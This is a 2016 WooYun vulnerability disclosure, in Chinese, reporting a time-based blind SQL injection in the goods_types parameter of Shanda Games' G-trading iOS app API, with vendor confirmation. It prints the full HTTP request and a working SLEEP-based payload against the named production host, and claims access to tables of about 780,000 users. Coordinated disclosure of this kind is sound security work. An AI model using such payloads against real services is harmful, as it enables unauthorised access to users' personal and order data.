当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0191256

漏洞标题:盛大游戏游戏币APP存在SQL注入(涉及78W+用户/47W+交易订单)

相关厂商:盛大游戏

漏洞作者: 路人甲

提交时间:2016-04-01 09:14

修复时间:2016-05-16 10:20

公开时间:2016-05-16 10:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-01: 细节已通知厂商并且等待厂商处理中
2016-04-01: 厂商已经确认,细节仅向厂商公开
2016-04-11: 细节向核心白帽子及相关领域专家公开
2016-04-21: 细节向普通白帽子公开
2016-05-01: 细节向实习白帽子公开
2016-05-16: 细节向公众公开

简要描述:

APP安全之SQL注入

详细说明:

目标:盛大游戏G买卖IOS APP
检测发现以下地方存在SQL注入:(URL中的goods_types,时间盲注)

GET http://gmm.sdo.com/api/accountapi/goods?app_version=2.2.0.33&method=GetMyGoodsList&params=%7B%22goods_types%22%3A%220*%22%2C%22page%22%3A1%2C%22state%22%3A1%7D&src_code=8 HTTP/1.1
Cookie: PHPSESSID=eovdj9v072jf2t4ple19er9tv3; path=/; HttpOnly
X-Requested-With: XMLHttpRequest
Referer: http://gmm.sdo.com/api/accountapi/goods?src_code=8&app_version=2.2.0.33&method=GetMyGoodsList&params=%7B%22state%22:0,%22goods_types%22:%2210,12%22,%22page%22:1%7D
Host: gmm.sdo.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


Payload:(延时3秒)

GET http://gmm.sdo.com/api/accountapi/goods?app_version=2.2.0.33&method=GetMyGoodsList&params=%7B%22goods_types%22%3A%220)+AND+(SELECT+*+FROM+(SELECT(SLEEP(3)))v)+AND+(2054%3D2054%22%2C%22page%22%3A1%2C%22state%22%3A1%7D&src_code=8 HTTP/1.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Host: gmm.sdo.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache,no-store
Referer: http://gmm.sdo.com/api/accountapi/goods?src_code=8&app_version=2.2.0.33&method=GetMyGoodsList&params={"state":0,"goods_types":"10,12","page":1}
Cookie: PHPSESSID=eovdj9v072jf2t4ple19er9tv3; path=/; HttpOnly

漏洞证明:

1、当前数据库用户

user.jpg


2、所有数据库

dbs.jpg


3、用户表,涉及78W+用户/47W+交易订单

tb.jpg


QQ截图20160331231322.jpg

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-04-01 10:17

厂商回复:

感谢对盛大游戏的关注与支持
安全没有愚人节0_0

最新状态:

暂无


漏洞评价:

评价